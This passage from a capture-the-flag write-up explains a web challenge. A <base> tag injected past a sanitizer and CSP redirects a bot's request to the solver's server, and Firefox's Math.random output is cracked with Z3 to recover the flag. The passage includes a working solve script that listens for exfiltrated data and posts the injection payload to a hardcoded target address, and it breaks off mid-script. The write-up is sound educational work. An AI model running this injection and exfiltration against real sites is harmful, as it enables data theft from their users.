<h3 id="redirecting" class="heading"><a href="#redirecting" class="heading-anchor" aria-label="章节： <base> redirecting" tabindex="-1"></a><span><code>&#x3C;base></code> redirecting</span></h3>
<p><code>meta</code> and <code>link</code> are not allowed in <code>titleElem</code>, but <code>&#x3C;base></code> is not banned in either HTML sanitizer or CSP, so we can change the base URI to redirect the request to <code>/result</code> to our server. Then we can use a 25-character prefix to get the first 25 characters of the flag.</p>
<h3 id="crack-math-random" class="heading"><a href="#crack-math-random" class="heading-anchor" aria-label="章节： Crack Math.random" tabindex="-1"></a><span>Crack <code>Math<wbr>.<wbr>random</code></span></h3>
<blockquote>
<aside role="note" data-v-a2ab257f><div class="shadow-md rd-1 b-l-6 my-6 bg-blue-1 dark:bg-blue-9 b-blue" data-v-a2ab257f><div class="p-3 flex justify-between items-center" data-v-a2ab257f><h4 class="flex items-center gap-1 font-bold" data-v-a2ab257f><span class="text-5 i-mdi-pencil text-blue" data-v-a2ab257f></span><!--v-if--><span data-v-a2ab257f>Note</span></h4><!--v-if--></div><div class="overflow-auto rd-br-1 bg-card px-6 dark:bg-bghover" data-v-a2ab257f><p><code>Math<wbr>.<wbr>random<wbr>()</code> does not provide cryptographically secure random numbers. Do not use them for anything related to security. Use the Web Crypto API instead, and more precisely the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues"><code>Crypto<wbr>.<wbr>getRandomValues<wbr>()</code></a> method.</p></div></div></aside>
</blockquote>
<p>Using an empty prefix, we can get the first 25 <code>Math<wbr>.<wbr>floor<wbr>(<wbr>Math<wbr>.<wbr>random<wbr>() * <wbr>65536<wbr>)</code> and we need to predict the next 23.</p>
<p>There is <a href="https://github.com/d0nutptr/v8_rand_buster">https<wbr>://<wbr>github<wbr>.<wbr>com<wbr>/<wbr>d0nutptr<wbr>/<wbr>v8_<wbr>rand_<wbr>buster</a>, and we need to adjust the random-state-to-double conversion part for Firefox. Refer to <a href="https://searchfox.org/mozilla-central/source/mfbt/XorShift128PlusRNG.h">XorShift128PlusRNG.h</a>.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Diff 代码块" data-v-c675dba6>Diff</h4><ile-root id="ile-60"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-60--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">@@ -17,7 +17,7 @@ def xs128p(state0, state1):</span></span>
<span><span style="color: #403F53">     s1 ^= (s0 &gt;&gt; 26) &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">     state0 = state1 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #403F53">     state1 = s1 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #EF535090">-    generated = state0 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #4876D6FF">+    generated = (state0 + state1) &amp; 0xFFFFFFFFFFFFFFFF</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">@@ -17,7 +17,7 @@ def xs128p(state0, state1):</span></span>
<span><span style="color: #D6DEEB">     s1 ^= (s0 &gt;&gt; 26) &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">     state0 = state1 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #D6DEEB">     state1 = s1 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #EF535090">-    generated = state0 &amp; 0xFFFFFFFFFFFFFFFF</span></span>
<span><span style="color: #C5E478FF">+    generated = (state0 + state1) &amp; 0xFFFFFFFFFFFFFFFF</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-61"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-61--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sym_floor_random</span><span style="color: #111111">(</span><span style="color: #0C969B">slvr</span><span style="color: #403F53">, </span><span style="color: #0C969B">sym_state0</span><span style="color: #403F53">, </span><span style="color: #0C969B">sym_state1</span><span style="color: #403F53">, </span><span style="color: #0C969B">generated</span><span style="color: #403F53">, </span><span style="color: #0C969B">multiple</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    sym_state0, sym_state1 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">sym_xs128p</span><span style="color: #403F53">(</span><span style="color: #4876D6">sym_state0</span><span style="color: #111111">,</span><span style="color: #4876D6"> sym_state1</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    calc </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (sym_state0 </span><span style="color: #994CC3">+</span><span style="color: #403F53"> sym_state1) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">(</span><span style="color: #AA0982">1</span><span style="color: #4876D6"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #4876D6"> </span><span style="color: #AA0982">53</span><span style="color: #4876D6">) </span><span style="color: #994CC3">-</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    coef </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> multiple</span></span>
<span><span style="color: #403F53">    lower </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">(</span><span style="color: #4876D6">generated </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> coef</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    upper </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">int</span><span style="color: #403F53">(</span><span style="color: #4876D6">(generated </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">1</span><span style="color: #4876D6">) </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> coef</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    slvr.</span><span style="color: #0C969B">add</span><span style="color: #403F53">(</span><span style="color: #0C969B">ULE</span><span style="color: #403F53">(</span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">lower</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)</span><span style="color: #111111">,</span><span style="color: #4876D6"> calc</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">    slvr.</span><span style="color: #0C969B">add</span><span style="color: #403F53">(</span><span style="color: #0C969B">ULE</span><span style="color: #403F53">(</span><span style="color: #4876D6">calc</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #0C969B">BitVecVal</span><span style="color: #403F53">(</span><span style="color: #4876D6">upper</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">64</span><span style="color: #403F53">)))</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">to_double</span><span style="color: #111111">(</span><span style="color: #0C969B">value</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> (value </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> ((</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">) </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> (</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">53</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">sym_floor_random</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">slvr</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">sym_state0</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">sym_state1</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">generated</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">multiple</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    sym_state0, sym_state1 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">sym_xs128p</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">sym_state0</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> sym_state1</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    calc </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (sym_state0 </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> sym_state1) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">(</span><span style="color: #F78C6C">1</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">53</span><span style="color: #82AAFF">) </span><span style="color: #C792EA">-</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    coef </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> multiple</span></span>
<span><span style="color: #D6DEEB">    lower </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">generated </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> coef</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    upper </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">(generated </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #82AAFF">) </span><span style="color: #C792EA">*</span><span style="color: #82AAFF"> coef</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    slvr.</span><span style="color: #B2CCD6">add</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">ULE</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">lower</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> calc</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">    slvr.</span><span style="color: #B2CCD6">add</span><span style="color: #D6DEEB">(</span><span style="color: #B2CCD6">ULE</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">calc</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #B2CCD6">BitVecVal</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">upper</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB">)))</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> sym_state0, sym_state1</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">to_double</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">value</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> (value </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> ((</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">53</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<h3 id="automatic-solve-script" class="heading"><a href="#automatic-solve-script" class="heading-anchor" aria-label="章节： Automatic solve script" tabindex="-1"></a><span>Automatic solve script</span></h3>
<p>I refined the script after the contest to make it fully automatic. (I don<span class="mojikumi-narrow-left">’</span>t know why I did this, maybe just to save some explanations on how to run it :)</p>
<p>Z3 solving needs a few CPU hours, so be patient.</p>
<p>It needs public IPv4 access. Use services like requestrepo.com or app.interactsh.com otherwise.</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-62"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-62--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #989FB1"># Receive requests</span></span>
<span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> flask </span><span style="color: #994CC3">import</span><span style="color: #403F53"> Flask, request, make_response</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> threading </span><span style="color: #994CC3">import</span><span style="color: #403F53"> Thread</span></span>
<span></span>
<span><span style="color: #4876D6">URL</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #C96765">http://104.198.119.144:7891</span><span style="color: #111111">&quot;</span></span>
<span><span style="color: #4876D6">PORT</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1337</span></span>
<span><span style="color: #4876D6">MAX_PREFIX_LEN</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">25</span></span>
<span><span style="color: #4876D6">FLAG_LEN</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">48</span></span>
<span></span>
<span><span style="color: #403F53">flag </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;&quot;</span></span>
<span></span>
<span><span style="color: #403F53">app </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">Flask</span><span style="color: #403F53">(</span><span style="color: #4876D6">__name__</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #4876D6">@app.route</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">/result</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">methods</span><span style="color: #994CC3">=</span><span style="color: #111111">[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">OPTIONS</span><span style="color: #111111">&quot;</span><span style="color: #111111">]</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">cors</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    response </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">make_response</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    response.headers[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Access-Control-Allow-Origin</span><span style="color: #111111">&quot;</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #C96765">*</span><span style="color: #111111">&quot;</span></span>
<span><span style="color: #403F53">    response.headers[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Access-Control-Allow-Headers</span><span style="color: #111111">&quot;</span><span style="color: #403F53">] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #C96765">Content-Type</span><span style="color: #111111">&quot;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> response</span></span>
<span></span>
<span></span>
<span><span style="color: #4876D6">@app.post</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">/result</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">post_result</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">global</span><span style="color: #403F53"> flag</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> request.json</span></span>
<span><span style="color: #403F53">    prefix </span><span style="color: #994CC3">=</span><span style="color: #403F53"> request.json[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">prefix</span><span style="color: #111111">&quot;</span><span style="color: #403F53">]</span></span>
<span><span style="color: #403F53">    result </span><span style="color: #994CC3">=</span><span style="color: #403F53"> request.json[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">result</span><span style="color: #111111">&quot;</span><span style="color: #403F53">]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> flag </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;&quot;</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">MAX_PREFIX_LEN</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            flag </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">ord</span><span style="color: #403F53">(</span><span style="color: #4876D6">prefix</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">])</span><span style="color: #4876D6"> </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> int</span><span style="color: #403F53">(</span><span style="color: #4876D6">result</span><span style="color: #403F53">[</span><span style="color: #4876D6">i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> : i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">16</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">flag</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">else</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        points </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[]</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">MAX_PREFIX_LEN</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            points.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">ord</span><span style="color: #403F53">(</span><span style="color: #4876D6">flag</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">])</span><span style="color: #4876D6"> </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> int</span><span style="color: #403F53">(</span><span style="color: #4876D6">result</span><span style="color: #403F53">[</span><span style="color: #4876D6">i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> : i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">16</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Start solving</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        seeds </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">solve</span><span style="color: #403F53">(</span><span style="color: #4876D6">points</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">65536</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        points </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">gen</span><span style="color: #403F53">(</span><span style="color: #4876D6">seeds</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">65536</span><span style="color: #111111">,</span><span style="color: #4876D6"> FLAG_LEN</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">MAX_PREFIX_LEN</span><span style="color: #111111">,</span><span style="color: #4876D6"> FLAG_LEN</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            flag </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #4876D6">chr</span><span style="color: #403F53">(</span><span style="color: #4876D6">points</span><span style="color: #403F53">[</span><span style="color: #4876D6">i</span><span style="color: #403F53">]</span><span style="color: #4876D6"> </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> int</span><span style="color: #403F53">(</span><span style="color: #4876D6">result</span><span style="color: #403F53">[</span><span style="color: #4876D6">i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> : i </span><span style="color: #994CC3">*</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #4876D6"> </span><span style="color: #994CC3">+</span><span style="color: #4876D6"> </span><span style="color: #AA0982">4</span><span style="color: #403F53">]</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #AA0982">16</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">flag</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">quit</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #111111">&quot;</span><span style="color: #C96765">ok</span><span style="color: #111111">&quot;</span></span>
<span></span>
<span></span>
<span><span style="color: #0C969B">Thread</span><span style="color: #403F53">(target</span><span style="color: #994CC3">=lambda</span><span style="color: #4876D6">: app.</span><span style="color: #0C969B">run</span><span style="color: #403F53">(host</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">0.0.0.0</span><span style="color: #111111">&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">port</span><span style="color: #994CC3">=</span><span style="color: #4876D6">PORT</span><span style="color: #403F53">)).</span><span style="color: #0C969B">start</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #989FB1"># Send requests</span></span>
<span></span>
<span><span style="color: #994CC3">import</span><span style="color: #403F53"> requests</span></span>
<span><span style="color: #994CC3">from</span><span style="color: #403F53"> time </span><span style="color: #994CC3">import</span><span style="color: #403F53"> sleep</span></span>
<span></span>
<span><span style="color: #403F53">requests.packages.urllib3.util.connection.</span><span style="color: #4876D6">HAS_IPV6</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #BC5454">False</span></span>
<span><span style="color: #403F53">ip </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">get</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">https://ifconfig.me</span><span style="color: #111111">&quot;</span><span style="color: #403F53">).text</span></span>
<span><span style="color: #403F53">name </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&lt;/title&gt;&lt;base href=&quot;http://</span><span style="color: #4876D6">{</span><span style="color: #403F53">ip</span><span style="color: #4876D6">}</span><span style="color: #C96765">:</span><span style="color: #4876D6">{PORT}</span><span style="color: #C96765">&quot;/&gt;&lt;title&gt;&#39;</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">report</span><span style="color: #111111">(</span><span style="color: #0C969B">prefix</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> requests.</span><span style="color: #0C969B">post</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&quot;</span><span style="color: #4876D6">{URL}</span><span style="color: #C96765">/preset&quot;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #403F53">json</span><span style="color: #994CC3">=</span><span style="color: #4876D6">{</span><span style="color: #111111">&quot;</span><span style="color: #C96765">name</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">: name, </span><span style="color: #111111">&quot;</span><span style="color: #C96765">prefix</span><span style="color: #111111">&quot;</span><span style="color: #4876D6">: prefix}</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">id</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> res.</span><span style="color: #0C969B">json</span><span style="color: #403F53">()</span><span style="color: #111111">[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">id</span><span style="color: #111111">&quot;</span><span style="color: #111111">]</span></span>
